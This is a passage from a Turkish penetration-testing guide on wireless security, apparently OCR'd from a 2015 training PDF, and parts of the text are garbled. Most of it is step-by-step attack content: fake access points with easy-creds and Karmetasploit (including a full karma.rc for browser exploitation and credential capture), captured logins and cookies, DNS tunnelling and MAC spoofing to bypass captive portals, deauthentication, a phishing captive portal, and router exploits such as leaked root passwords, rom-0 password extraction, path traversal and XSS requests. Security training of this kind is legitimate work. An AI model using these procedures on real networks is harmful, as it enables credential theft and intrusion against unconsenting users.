2. adimda internete bagli arayiizii sorar, eger Kaliyi sanal makine izerinde kullaniyorsak buna muhtemelen
eth0 yazilir. Ornek: eth0

3. adimda sahte yayini yapilacagi arayiizii sorar; wlan0, wlan1 gibi. Ornek: wlan1

4. adimda sahte AP yayini i¢cin SSID’yi sorar. Burada kurum adi veya FreeWifi gibi insanlarin ilgisini
cekebilecek bir SSID girilir. Ornek: TTNET WiFi

5. adimda kanal numarasi girilir. 1, 6, 11 tercih edilir. Ornek: 6

6. adimda easy-creds wlan1 arayiiziinii monitor moda gegirir ve bunu yazariz. Ornek:mon0

7. adimda MAC adresi degistirmek istiyor musun diye sorar. Ornek: N

8. adimda kurban kullanicilarin baglanacagi kablosuz arayiiz belirtilir. Bu araylize gelen trafik internetin
oldugu arayiize(eth0) kdprilenecektir. Ornek: at0

9. adimda kullanicilara verilecek IP igin DHCP konfigiirasyon dosyasi var mi diye sorar. N tercih edilir. Ornek:
N

10. adimda kullanicilarin hangi subnetten IP alacag belirtilir. Ornek: 10.0.0.0/24

Not: Eger dhcp'nin baslatilamadigi ile ilgili bir hata aliniyorsa ya da IP alinamiyorsa easy-creds.sh dosyasi
acilarak 731. satirda dhcpd3, dhcpd ile degistirilebilir.

11. adimda DNS sunucusu girilir. Ornek: 192.168.2.1(Modem IP’si)

Boylece easy-creds Airbase-ng’yi calistirarak yayin baslar. Sonra DMESG, SSLStrrip, ettercap, URL snaff ve
dnsiff kliclik pencerelerde acilir. easy-creds’de baslangictaki menisiine déner.
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Uygulamalar Yerler r E] ‘ 'ﬁ] (©) ﬁ Paz Tem 20, 14:25:31

Dosya Diizenle Gorinim Ara Ugbirim Sekmeler Yardim

root@kali: ~

At any time, ctrl+c to cancel and return to the main menu

Prerequisites & Configurations sslstrip 0,9 by Moxie Marlinspike
Poisoning Attacks g p 0,9 by Moxie Marlinspike running...
FakeAP Attacks

Data Review

Exit

Quit current poisoning session

1.
2.
3.
4.
5.
q.

Starting Unified sniffing...
Choice:

Text only Interface activated..,
Hit 'h' for inline help

Dsniff

dsniff: listening on at0

root@Kkali: ~ ™ Baslangig B Airbase-NG B DMESG B SSLStrip B Ettercap - [t B URL Snarf B Dsniff

Bir kullanici aga baglandiginda Airbase-ng penceresinde su sekilde goralir.

Airbase-NG

1:274BF1ES started,
0,
ated (unencrypted) to ESSID: "TTMET WiFi"

Yakalanan verileri gériintilemek icin 4. Data Review segilir ve hangi aracin ¢iktisi gériintilenmek isteniyorsa
o numara girilir. Ornek: 3.

easy-creds bize log dosyasinin yerini gosterir ve bize tam yolu girmemizi ister.

Ettercap logs in current log folder:
/root/easy-creds-2014-07-20-1424/ettercap2014-07-20-1425.eci

Enter the full path to your ettercap.eci log file: /root/easy-creds-2014-07-20-1424/ettercap2014-07-
20-1425.eci

Kopyala - yapistir yapilarak yol belirtildiginde asagidaki gibi kiiciik bir pencere acilir ve URL,kullanici adi,
parola bilgisi listelenir.
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Ettercap Accounts

etterlog 0.8.0 copyright 2001-2013 Ettercap Development Team

198,15,65,66 TCP 80 USER: Deneme PASS: deneme  INFO: http:/ www,
seslisozluk,.nets

Karmetasploit

ilk olarak KARMA ismiyle ortaya ¢ikan Karmetasploit, sahte AP yayini yaparak istemcilerin baglandiklari her
istege cevap vermeyi amagliyordu. Sahte AP’ye baglanan istemcinin web, FTP, DNS gibi servisler icin her
istegine metasploitin halihazirda ylkli olan modilleriyle cevap verilir. Ancak burada KARMA’nin sahte AP
yayini yapmaktan ¢ok onemli bir farki vardir. Bilgisayarlar Probe Requestler ile daha 6nce basariyla
baglandiklari  AP’lerin SSIDleri igin yayin vyaparlar. Normal sartlarda bilgisayarlar daha 0Once
baglandigi(glivendigi) bir agin, etrafta daha kaliteli yayin yaptigini farkederse otomatik olarak ona baglanir.
KARMA ise ise bu noktada dahil olur. Probe Requestlerde yer alan her SSID icin Beacon frameler yayinlar.
Eger birisi etrafta KARMA ile ava ¢iktiysa daha 6nce baglanilan biitiin AP’ler yayindaymis gibi goérilebilir.
Bunlardan herhangi birisine baglanilmaya calisildiginda ise ag sifreli goziikse dahi sahte AP’e baglanilir. Bu
atak easy-creds araci ile yapilabilir ancak fikir vermesi agisindan manuel yapilmistir.

Saldiri igin 6ncelikle DHCP servisi yapilandiriimalidir. Bunun igin asagidaki degerler /etc/dhcp/dhcpd.conf
dosyasi icine yazilir. (locate dhcpd.conf komutu ile dosyanin nerede bulunduguna dair fikir edinilebilir.)

default-lease-time 60;
max-lease-time 72;
ddns-update-style none;

authoritative;

log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}

Sahte AP yayini yapilacak araylz monitor moda gegirilir
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airmon-ng start wlanl

Ardindan airbase-ng araci ile yayina baslanir. BGA_Wifi yerine istenilen SSID yazilabilir.

airbase-ng -P -C 30 -e "BGA_WiFi" -v mon0

Airbase-ng default olarak at0 diye bir arayiiz olusturacaktir. Bu arayiz igin IP ve ag maskesi verilir.

ifconfig at0 up 10.0.0.1 netmask 255.255.255.0

Baglanacak kullanicilara IP verebilmek i¢cin dhcpd biraz dnce olusturulan dhcpd.conf dosyasi ile yapilandirilir.

dhcpd -cf /etc/dhcp/dhcpd.conf at0

tcpdump ile at0 ag arayiliziine gelen tim trafik yakala dosyasina kaydedilebilir.

tcpdump -tttnn -i at0 -w yakala

Ve son olarak iginde metasploit modilleri ve gerekli ayarlar bulunan karma.rc dosyasi msfconsole

tarafindan okutulur.

msfconsole -r karma.rc

karma.rc dosya igerigi asagidaki gibidir. Bltlin servisler(pop3(s),imap(s),ftp,smtp,http(s),dns) yerine sadece

belirli servislerde galistirilabilir.

use auxiliary/server/browser_autopwn
setg AUTOPWN_HOST 10.0.0.1

setg AUTOPWN_PORT 55550

setg AUTOPWN_URI /ads

set LHOST 10.0.0.1
set LPORT 45000
set SRVPORT 55550
set URIPATH /ads

run

use auxiliary/server/capture/pop3
set SRVPORT 110

set SSL false

run
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use auxiliary/server/capture/pop3
set SRVPORT 995

set SSL true

run

use auxiliary/server/capture/ftp
run

use auxiliary/server/capture/imap
set SSL false

set SRVPORT 143

run

use auxiliary/server/capture/imap
set SSL true

set SRVPORT 993

run

use auxiliary/server/capture/smtp
set SSL false

set SRVPORT 25

run

use auxiliary/server/capture/smtp
set SSL true

set SRVPORT 465

run

use auxiliary/server/fakedns
unset TARGETHOST

set SRVPORT 5353

run

use auxiliary/server/fakedns
unset TARGETHOST

set SRVPORT 53

run

use auxiliary/server/capture/http
set SRVPORT 80

set SSL false

run

use auxiliary/server/capture/http
set SRVPORT 8080

set SSL false

run

use auxiliary/server/capture/http
set SRVPORT 443

set SSL true

run
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use auxiliary/server/capture/http
set SRVPORT 8443

set SSL true

run

airbase-ng baslatildginda soyle bir gikti verir

root@kali:/etc/dhcp# airbase-ng -P -C 30 -e "BGA_WiFi" -v monQ
20:32:44 Created tap interface at0

20:32:44 Trying to set MTU on at0 to 1500

20:32:44 Trying to set MTU on monO to 1800

20:32:44 Access Point with BSSID A0:F3:C1:27:BF:E8 started.
Error: Got channel -1, expected a value > 0.

20:33:07 Got broadcast probe request from 00:23:08:E9:B4:DF
20:33:07 Got broadcast probe request from 00:23:08:E9:B4:DF

Asagidaki 2 ekran goriintlslinde yer alan bitin SSID’ler sahtedir. Higbirisi civarda yayin yapmamaktadir.

il %79@T EJ Pzt20:37 Ender

Wi-Fi: Looking for Networks... e
Turn Wi-Fi Off

v BCA_WiFi =
AIRTIES_RT-212 &=
dmrl & =

Sahte AP’ye bir istemci baglandiginda asagidaki gibi bir ikt verir.

ISk Got directed probe request from 20:C9:DO:BF:7D:F1 -
20:37:16 Got broadcast probe request from 20:C9:DO:BF:7D:F1
20:37:22 Got an auth request from 20:C9:D0:BF:7D:F1 (open system)

20:37:22 Client 20:C9:D0:BF:7D:F1 associated (unencrypted) to ESSID: "BGA_WiFi"
20:37:29 Got directed probe request from 20:C9:DO:BF:7D:F1 - "homelabs2"
20:37:29 Got directed probe request from 20:C9:D0:BF:7D:F1 - "ULUKARTAL DSL"
Got directed probe request from 20:C9:DO:BF:7D:F1 - "TD854W_1"

'Kanyonline"

Ornek olarak yahoo'ya erisilmeye calisildiginda IP olarak 10.0.0.1 gériilmekte ve farkl bir sayfa gelmektedir.
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® 00 2. sudo su - (zsh)
|V0' E M Hotel Guest Wireless Ser o

www.yahoo.com silent-root# ping www.yahoo.com
PING www.yahoo.com (10 .1): 56 data bytes
64 bytes from 10.0.0.1: icmp_seq=0 ttl=64 time=7.977 ms
64 bytes from .0.0. icmp_seq=0 ttl=64 tim .943 ms (DUP!)
64 bytes from 10.0.0.1: icmp_seq=0 ttl=64 time=18.940 ms (DUP!)
64 bytes from .0.0. icmp_seg=1 ttl=64 time=7.585 ms
64 bytes from 10.0.0.1: icmp_seg=1 ttl=64 time=22.165 ms (DUP!)
AC
--- www.yahoo.com ping statistics ---
2 packets transmitted, 2 packets received, +3 duplicates, 0.0% packet los:
round-trip min/avg/max/stddev = 7.585/13.522/22.165/5.945 ms
silent-root#

root@kali: ~
Dosya Diizenle Goriinim Ara Ugbirim Yardim
HTTP REQUEST .0.0.100 > livejournal.com:80 GET /forms.html Mac FF 29.0 coo
H REQUEST .0.0.100 monster.com:80 GET /forms.html Mac FF 29.0 cookies
¥]1 HTTP REQUEST 10.0.0.100 myspace.com:80 GET /forms.html Mac FF 29.0 cookies

¥]1 HTTP REQUEST 10.0.0.100 ryze.com:80 GET /forms.html Mac FF 29.0 cookies=
¥] HTTP REQUEST 10.0.0.100 slashdot.org:80 GET /forms.html Mac FF 29.0 cookie

REQUEST 10.0.0.106 Wi ogger.com:80 GET /forms.html Mac FF 29.0 coo
REQUEST 10.0.0.100 www.care2.com:80 GET /forms.html Mac FF 29.0 cooki

REQUEST 10.0.0.10 www.careerbuilder.com:80 GET /forms.html Mac FF 29
.0 cookies=
¥]1 HTTP REQUEST 10.0.0.10 www.ecademy.com:80 GET /forms.html Mac FF 29.0 coo
S=
HTTP REQUEST 10.0.0.106 www.gather.com:80 GET /forms.html Mac FF 29.0 cook

HTTP REQUEST 10.0.0.106 www.gmail.com:80 GET /forms.html Mac FF 29.0 cooki

HTTP REQUEST 10.0.0.10 www.linkedin.com:80 GET,/forms.html Mac FF_29.0 co
ies=
[*] HTTP REQUEST 10.0.0.10 www.livejournal.com:80 GET /forms.html Mac FF 29.0
cookies=
[*] HTTP REQUEST 10.0.0.100 www.monster.com:80 GET /forms.html Mac FF 29.0 coo

kies=

[*] HTTP REQUEST 10.0.0.106 www.myspace.com:80 GET /forms.html Mac FF 29.0 coo
kies=

¥]1 HTTP REQUEST 10.0.0.100 www.ryze.com:80 GET /forms.html Mac FF 29.0 cookie

.0.100 www.slashdot.org:80 GET /forms.html Mac FF 29.0 co

0.0.0.100 www.xing.com:80 GET /forms.html Mac FF 29.0 cookie

root@kali: ~ root@kali: ~

Bunlarin arasinda cookie bilgileride vardir.
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Uygulamalar Yerler : E] ‘ M () ﬁ Pzt May 26, 22:20:28

root@kali: ~

Dosya Diizenle Goriinim Ara Ugbirim Yardim
*] HTTP REQUEST 10.0.0.100 > yahoo.com:80 GET /forms.html Mar
&d= YM‘"SDOBpYE h. A 1SOhM- &
MoglLZ5
1014d44h/o&p m2
uex381R_ruP1
e4dgO9rUNU j
(c10sL7aQNvsA -

/forms.html Mac cookies=
.google.com) - Error resolving
38 38 vw.google.com) - Error resolving
10.0.0.100 > www.yahoo.com:80 GET /forms.html Mac cookies=fpc
xqUYt799HbrrLMiTvhx65zV8WQJszq4d_emnKzY980ThOtnY25ts61DjYvneal OSVKSobI4Gk7APOCIu
022nu11°022°03A1°02C°022cm/022° 3A1%7D; B=es1e85t9hrd2n&b=4&d=YMCSpOBPYEMDheWP1Rg_gCiS

UNTScF . sPSzMG19alP6WMogl Z5h9a33hFkiWeQ55smbpw HJIbaYSbPkDOU-&b=7esF; Y=v=1&n= 3efp

us; PH=fn=BGq9Suex381R_ruP1Rw-&1=tr-TR%2Cen-US&i=us; T=z=GXraTBGrSfTBTe4dg@9rUNU

-~E&d=c2wBTVRJIMO5BRX1ORGMyT1RjNUSEUTVORE14T 1RBNE13LSOBYQFZQUUBZWFZNTJHRTRMS INWRF

XID 2 3 (IN .google.com) - Error resolving
- XID 83 0 glp com) - Error resolving
- DNS - XID 9 | .G .10.in-addr.arpa)
- DNS - XID 5869 g A ) .com) - Err
- DNS - XID 69 ) .com) - Error
- DNS - XID 69 W. gle.com) - Error 3
- DNS - XID 69 83 W. ) .com) - Error r
- DNS XID 43 oogle.com) - Error ri
(] root@kali: ~

Captive Portal Giivenlik Testleri

Captive portal uygulamalara yonelik yapilacak glvenlik testleri bir kag gruba ayrilabilir.
e Web uygulamasi Gizerinde giivenlik zafiyeti arastiriimasi,
e Captive portal uygulamasina dahil olmadan internete ¢ikma galismalari,
e Sisteme kayit olmus bir kullanici bilgisini kullanarak internete ¢ikma: MAC adresi degistirilerek,
® Son bir segenek olarak captive portal uygulamasi sahte AP yayini ile birlestirilebilir. Hedef kurumun
captive portal icin kullandigi bir sayfa kopyalanarak, sahte AP’ye baglanan kullanicilar bu sayfaya
yonlendirilirler.
ilk secenek konu disidir.

Captive portal uygulamasina dahil olmadan internete ¢ikma galismalari: DNS Tiinelleme

TEORIK

Bir protokol igerisinde baska bir protokole ait veri tagima islemine protokol tiinelleme denir. DNS paketleri
icersinden herhangi bir tcp/udp paketini (6rnegin, http,ftp, ssh vb.) tasima islemi de DNS Tlnnelleme olarak
isimlendirilir.
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DNS trafigi

im port ve protokoller yasak

tunnel bga.com.tr

swilch

firawall
web proxy
Content Filter

Dns Server

DNS sunucu kendisinden sorgulanan bir dns istegine énce 6nbellegini kontrol ederek yanit vermek ister
eger alan adi dns 6nbelleginde yoksa, sorgulanan alan adindan sorumlu dns sunucuyu bulur ve ona sorar.
Sorgulanan alan adindan yetkili dns sunucu ilgili dns kaydi i¢in yanit verir ve DNS sunucu bu yaniti istemciye
iletir.

Ornek olarak kullanici, tunnel.bga.com.tr alan adini sorgulamak istediginde yerel agindaki dns sunucu bu
kayit dnbelleginde yoksa bu istege dogrudan yanit veremez. tunnel.bga.com.tr alan adindan sorumlu dns
sunucuyu bulur dns.bga.com.tr ve ona tunnel A kaydini sorar aldigi yaniti istemciye iletir.

DNS tiinel araglari, dns verisini encode ederek ISP'nin dns sunucusuna iletir. ISP'nin dns sunucuyu bu istege
yanit veremez ve dns istegini bu araca iletir. Aracin sunucu tarafida, gelen istegi decode eder ve ilgili istege
yanitl istemciye geri gonderir. DNS isteklerinin, dns sunucu tarafindan 6nbellege alinma ihtimaline karsi
her dns sorgusunda rastgele bir subdomain kullanilir.

PRATIK
Sunucu tarafinda asagidaki komut ile iodine DNS cevaplarini yorumlamasi igin yapilandirilir.

iodined -f 1.1.1.1/24 tunnel.domain.com

istemci tarafinda ise DNS tiinelleme kurulmasi icin asagidaki komut yeterlidir.

iodine tunnel.domain.com

Calistirildiginda ifconfig ile dnsO diye bir arayiziin agildigi gorilebilir.

root@kali:~# ifconfig
dns0  Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
inet addr:1.1.1.5 P-t-P:1.1.1.5 Mask:255.255.255.0
UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1130 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:500
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RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

internete dns0 arayiiziinden ¢ikilmasi icin default gateway’in 1.1.1.1 olarak ayarlanmasi gerekir. Ya da ikinci
bir segenek sshuttle araci ile 1.1.1.1 gateway’ine SSH tiinelleme kurulur ve boéylece tim trafik DNS
tinelleme igindeki SSH tiinel Gzerinden aktarilir.

Sshuttle indirildikten sonra asagidaki gibi galistirilir. 22 SSH portunu belirtirken, 0/0 ile tim trafigin buradan
aktarilmasi belirtilir.

./sshuttle -r bga@1.1.1.1:22 0/0

Sisteme kayit olmus bir kullanici bilgisini kullanarak internete ¢gikma: MAC adresi degistirilerek
Bu atak bir ¢cok captive portal uygulamasinda basarili olmaktadir. Hotspot ¢alisma mantigina gére kullanici
dogru bir hesap bilgisi sagladiktan sonra, bu kullaniciya ait MAC adresine givenlik duvarindan izin
verilmektedir. Saldirgan burada kayith kullanici MAC adreslerini tespit eder ve kendi MAC adresini bununla
degistirir.

MAC adreslerini toplamak igin aga baglanmadan airodump-ng, kismet benzeri araglar ile kesif calismasi
yaptlip bagh istemcilerin MAC adresleri toplanabilir.

ikinci bir secenek olarak aga baglandiktan sonra nmap benzeri araglarla agdaki diger istemci sistemlerin
MAC adresleri tespit edilir.

MAC adresleri asagidaki gibi degistirilebilir.

ifconfig wlanl down
macchanger -m 11:22:33:33:22:11 wlanl
ifconfig wlanl up

Bir ¢ok agda ayni anda ayni MAC adresine izin verilmemektedir. Béyle durumlarda MAC adresini tespit edip
aga baglanmadan, hedef kullaniciya yonelik deauthentication saldirisi yapilarak kullanici agdan
dustrulebilir.

aireplay-ng --deauth 20 -a 00:1F:D4:01:6A:C8 -c 00:27:10:5C:08:18 mon0

-a AP MAC adresi ve -c hedef istemci MAC adresini ifade eder.

Sahte Captive Portal Sayfasi & Sahte AP yayini

Bu konu ise Pineapple MARK V (zerinden yapilacaktir.

Pineapple kablosuz ag ataklari yapmak icin kullanilan 6zel bir donanimdir. Uzerinde OpenWrt dagitimi
yuklidir. 2 tane ayri ag adaptoéri ve anten vardir. Influsion denen araglar ile kablosuz ag ataklari
gerceklestirilir.

Bu yazida Pineapple ile dncelikle Starbacks SSID’siyle sahte yayini yapilacak ve kullanici istekleri tek bir
sayfaya yonlendirilecektir. Senaryo olarak hedefte Starbacks kablosuz agina sahip bir ev kullanicisi oldugu
varsayilip tim web istekleri sahte bir captive portal sayfasina yonlendirilecektir.

Asagida goruldugi gibi SSID ve frekans ayari yapildi.
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About Wired Access Point Client Mode  Mobile Broadband = Advanced

[ ETTTIEN 11 ¥
Hidden: W

Secure Management Access P
SSID:

WPA2 Password

Disabled: |

Note: The channel of the secure management access point will be the same as the one of the open access point.

Save

Kurban cep telefonuyla baglanir.

oo 0 O4 35% 20:20
({® Kablosuz L1

Starbacks
Baglandi

Kaydedildi, glivenligi WPA?2 ile
saglaniyor

AIRTIES_RT-206

instagram.com sitesine gitmek ister ama karsisina TPLINK Router yazan bir sayfa ¢ikar. Bu sayfada devam
etmek icin kablosuz ag parolasini girmesi istenir.
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O 0O W4 35% 20:21
instagram.com :

TPLINK Router

Devam etmek icin liiften kablosuz ag parolanizi giriniz

Giris

TR

Kurban parolayi girer, basit bir PHP koduyla parola alinir ve bir dosyaya yazilir. Sonrasinda kurban istedigi
sayfaya yonlendirilir.

O QO P4l 34% 20:22

instagram.com :

TPLINK Router

Devam etmek icin liften kablosuz ag parolanizi gir,

ZorparolaM123 Giris

TP-LNK

The Reliable Choice

Parolasi ise agik olarak ele gegirilmis olur.
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€ - C [j1721642.1/vakalatxt

ZorparolaMl23

BILGI GUVENLIGI AKADEMISI | © 2015 | www.bga.com.tr




[PENTEST GCALISMALARINDA KABLOSUZ AG GUVENLIK TESTLERI] E

AP/Router Uzerinde Cikan Zafiyetler

Access Point arabirimi, yazimi (firmware) diger bircok ag cihazi gibi glivenlik zafiyetleri barindirabilirler. Bu
zafiyetler ve ontanimli hesaplar tim kablosuz agin givenligini tehlikeye atmaktadir. Asagida gorilecegi
Uzere bu zafiyetler farkli markaya sahip cihazlarda gikabilmektedir ve maalesef ireticilerden bu konuda
gerekli giivenlik glincellemeleri gelmemektedir. Bu durum riskin buytklGgina artirmaktadir.

Genellikle gdbmilu Linux tirevi isletim sistemleri ¢alistiran bu cihazlarda popiler isletim sistemlerinde ve
uygulamalardaki gibi bellek tasmasi tiirevi zafiyetler gorilebilir. Bu zafiyetler cihaz tizerinde tam yetkili kod
calistirmaya sebep olacak kritiklikte olabilirler. Boyle bir zafiyet araciligiyla saldirgan cihazin, dolayisiyla tim

yerel agin kontroliinii ele gegirebilir.

Stackoverflow (Bellek tasmasi) Zafiyetleri
SOHO router Uzerindeki uygulamada bulunan yigin tasmasi zafiyeti istismar edilerek tam yetkili erisim

saglanan 6rnek calismaya https://www.exploit-db.com/docs/36806.pdf adresinden erisilebilir.

Airties

Ornek olarak son zamanlarda ortaya ¢ikan Airties modemlere ait root parolasi verilebilir. ilgili zafiyete gére
Air6372S0 modemlerin parolasinin(dsl_2012_Air) firmware lizerinden kolayca 6grenilebilecegi ve uzaktan
bu modemlere telnet 2323 portu Uzerinden erisilebilecegi gorilmistiir. Ayni sekilde baska modeller
Uzerinde de buna benzer zafiyetler oldugu tespit edilmistir: Airties RT-206v4 modeli root parolasi:
SolL_FiBeR_1357

ZTE, TP-Link, ZynOS, Huawei
Tirkiye’de de siklikla rastlanan modem modellerinden ZTE VX10 W300 (zerinde router parolasinin elde
edilebilecegi bir zafiyet vardir. Bu zafiyete gore

http://192.168.1.1/rom-0

dosyasi basit bir GET istegiyle herhangi bir kimlik dogrulamaya ihtiya¢ duyulmadan indirilebilmektedir.
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192.168.2.1/rom-0 (%] &

e 00 rom-0 aciliyor

Sunu agmayi segtiniz:
— rom-0

turu: Belge (16,0 KB)
nereden: http://192.168.2.1

Firefox bu dosya ile ne yapsin?

() Birlikte ag| TextEdit (varsayilan) :

() Sabit diske kaydet

Bu tir dosyalar indirilirken hep bu islemi gergeklestir.

| Vazgeg | | Tamam

Dosya indirilerek modem yapilandirmasi hakkinda fikir sahibi olunabilmektedir. Ancak burada router
parolasi ele gegirilecektir. Bunun igin basit bir python script kullanilarak rom-0 dosyasi okunabilir.

python rom0-decomp.py

[+] ZTE, TP-Link, ZynOS, Huawei rom-0 Configuration Decompressor
[+] Author: Osanda Malith Jayathissa

[+] Special thanks to Nick Knight

[*] Opeining rom-0 file

[+] Dump:

27272727 I ttnetZTE60publicpublicpublic@PPPP PO PO P> OPH PO
o
@

[+] Filtered Strings: I ttnetZTE60publicpublicpublicPPPPPP5PP@

[~] Router Password is: ttnet

Ayni bir modemde ikinci bir zafiyet kullanilarak WAN parolasi ele gegirilebilmektedir. Bunun igin modem
arayiiziine yukarida ele gegcirilen admin parolasi kullanilarak erisilir. Interface setup, internet sekmesine sag
tiklanip ¢ergeve kaynak kodu gériintllendiginde PPPoE/PPPoA parolasi elde edilebilmektedir.
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ZTE ZXV10 W300 Language:| English

Advanced Access
Setup Management

Interface

Yeni sekmede ag

I Yeni pencerede ag

Baglantiyl yeni gizli pencerede ag

Bu baglantiyi yer imlerine ekle
Baglantiyi farkli kaydet...
o Baglanti konumunu kopyala

Sadece bu cerceveyi goster
Cergeveyi yeni sekmede ag
Cerceveyi yeni pencerede ag

Ogeyi incele

Cergeveyi tazele

Encapsulation

Bu gergeveyi yer imlerine ekle
Cerceveyi farkl kaydet...
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LockWhenPVCO();
LockPVC();
if (document.forms[0].wan_ PPPPassword != null)

document.forms[0].wan_ PPPPassword.value = pwdppp;

H

TP-Link

ikinci bir drnek olarak TP-Link TL-WA701IN modeli 3.12.6 Build 110210 Rel.37112n firmware iizerinde
Directory Traversal tipi atak tespit edilmis. Bu atak istismar edilerek /etc/passwd dosyasi okunabilmektedir.

istek

GET /help/../../etc/passwd HTTP/1.1

Host: 192.168.178.2

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Proxy-Connection: keep-alive

Referer: http://192.168.178.2/help/

Cevap

HTTP/1.1 200 OK

Server: TP-LINK Router

Connection: close

WWW-Authenticate: Basic realm="TP-LINK Wireless Lite N Access Point WA701N"
Content-Type: text/html
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<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<HTML>

<HEAD><TITLE>TL-WA701N</TITLE>

<META http-equiv=Pragma content=no-cache>

<META http-equiv=Expires content="wed, 26 Feb 1997 08:21:57 GMT">
<LINK href="/dynaform/css_help.css" rel=stylesheet type="text/css">
<SCRIPT language="javascript" type="text/javascript"><!--
if(window.parent == window){window.location.href="http://192.168.178.2";}
function Click(){ return false;}

document.oncontextmenu=Click;

function doPrev(){history.go(-1);}

//--></SCRIPT>

root:x:0:0:root:/root:/bin/sh

Admin:x:0:0:root:/root:/bin/sh

bin:x:1:1:bin:/bin:/bin/sh

daemon:x:2:2:daemon:/usr/sbin:/bin/sh

adm:x:3:4:adm:/adm:/bin/sh

Ip:x:4:7:1p:/var/spool/lpd:/bin/sh

sync:x:5:0:sync:/bin:/bin/sync
shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh
operator:x:11:0:Operator:/var:/bin/sh
nobody:x:65534:65534:nobody:/home:/bin/sh

ap71:x:500:0:Linux User,,,:/root:/bin/sh

Zafiyet kullanici adi, parola degistirme seklinde farkl atak vektorleriyle istismar edilebilir.

istek

http://192.168.178.2/userRpm/ChangelLoginPwdRpm.htm?oldname=admin&oldpassword=XXXX&newname=ad

min&newpassword=XXXX&newpassword2=XXXX&Save=Save

Veya XSS ile MAC filtreleme ayarlari degistirilebilir.

istek

http://192.168.178.2/userRpm/WlanMacFilterRpm.htm?Mac=00-11-22-33-44-
55&Desc=%22%3E%3Cimg+src%3D%220%22+onerror%3Dalert%281)>&Type=1&entryEnabled=1&Changed=0&
Sellndex=0&Page=18&vapldx=1&Save=Save

Misfortune Cookie

CVE-2014-9222 kodlu misfortune cookie zafiyeti, saldirganlara AP (izerinde kimlik dogrulamasiz
Administrator haklari vermektedir. RomPager isimli gomili web sunucuda kesfedilen bu zafiyet 200'den
fazla modelde mevcuttur. Saldirganlar bu zafiyeti istismar ederek tim trafigi izleyebilirler. [Link]
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UPNP

Elektronik cihazlarin kolayca aga dahil olmasi ve birbirleriyle uyumlu g¢alisabilmesi amaciyla kullanilan bir
servis olan UPnP {izerinde de bilinen kritik bir zafiyet vardir. Bu zafiyet istismar edilerek WAN {zerinden
AP'ye uzaktan baglanti saglanabilir, cihazdan yapilandirma dosyalari gekilebilir.

BGA’dan Onur ALANBEL’in MiniUPnPd Uzerindeki bir zafiyet icin yazdig istismar kodu, Tirkiye’de yaygin
olarak kullanilan modemlere root haklariyla baglanarak tiim trafigi yonlendirme, yapilandirma dosyalarina
erisim, vb. ataklar yapilabilecegini gostermistir. Bulunan yigin tagsmasi zafiyeti istismar edilerek tam yetkili
erisim saglanan ornek calismaya https://www.exploit-db.com/docs/36806.pdf adresinden erisilebilir.
istismar kodlarina ise https://www.exploit-db.com/exploits/36839/ bu baglantidan ulasilabilir.
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Ek-1: Kablosuz Ag Giivenlik Testleri Kontrol Listesi

# Kontrol Listesi Durum
1 Hedefe ait gizli veya acik kablosuz aglarin tespiti(sniffing)
2 Hedefin SSID’si kuruma ait bilgi ifsasina sebep oluyor mu?

3 Kablosuz aglara ait 6zelliklerin tespiti(OPEN/WEP/WPA/WPA2/WPS,802.1x vb.)

3a WEP/WPA/WPA2 kullaniliyorsa handshake elde edilmesi

3b Parola kirmak icin genel ve hedefe 6zel s6zllik olusturulmasi

3c Handshake i¢in GPU destekli parola kirma galismasi

3d 802.1x kullaniliyorsa domain kullanici bilgileri giris icin yeterli mi? Sertifika ve
benzeri ekstra glvenlik 6nlemleri var mi?

3e WPS varsa, PIN denemeleriyle kablosuz ag anahtarinin ele gegirilmesi

4 internet erisimi icin captive portal uygulamasi var mi?

4a Captive portal var ise kullanici giris yapmadan izole edilmis karantina networkiine mi
aliniyor?

4b Captive portal var ise kullanici giris yaptiktan sonra farkh aglara(kurum sunucu,
istemci agi) erisim var mi?

4c Captive portal var ise MAC adresi degistirilerek atlatilabiliyor mu?

4ad Captive portal var ise tiinelleme yontemleri ile atlatilabiliyor mu?

5 Kullanicilar arasi izolasyon (user isolation) var mi?

6 Hedef AP/Router’in marka/model tespiti ve bilinen zafiyetlerin istismari

7 AP/Router web araytizii/telnet/ssh 6ntanimli parola denemeleri

8 AP/Router veya diger network cihazlari igin 6ntanimli veya tahmin edilebilir SNMP

community stringlerin denenmesi

9 MAC filtreleme var mi?

10 Kablosuz aglara yonelik gesitli servis disi birakma
saldirilari(authentication/deauthentication, association/deassociation)

11 Sahte AP yayini yapilabiliyor mu? (Evil Twin, Sahte 802.1x, Captive portal vb.)

12 Karmetasploit saldirilar

13 Aga dahil olduktan sonra gesitli MitM ataklari (ARP zehirleme, ICMP Redirect, DHCP
snooping vb.)
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Ek-2: Yazida kullanilan arag listesi

Araglar Tanim

Airmon-ng Ag kartini monitor moda gegirme
Airodump-ng Sniffing

Aireplay-ng Paket enjeksiyonu

Airbase-ng Sahte yayin

Aircrack-ng Parola kirma

crunch Kelime listesi olusturma
easy-creds Sahte yayin, mitm, karmetasploit vb. paketi
ettercap Mitm, sniffing

macchanger Mac adresi degistirme

iodine DNS tiinelleme

wash WPS kesif

reaver WPS PIN atak

metasploit Exploit ve tarama frameworki
mdk3 Servis digl birakma araci

john-the-ripper

Parola kirma

oclhashcat GPU destekli parola kirma araci
hostapd2.2 Sahte yayin yapma

wireshark Sniffing

kismet Sniffing
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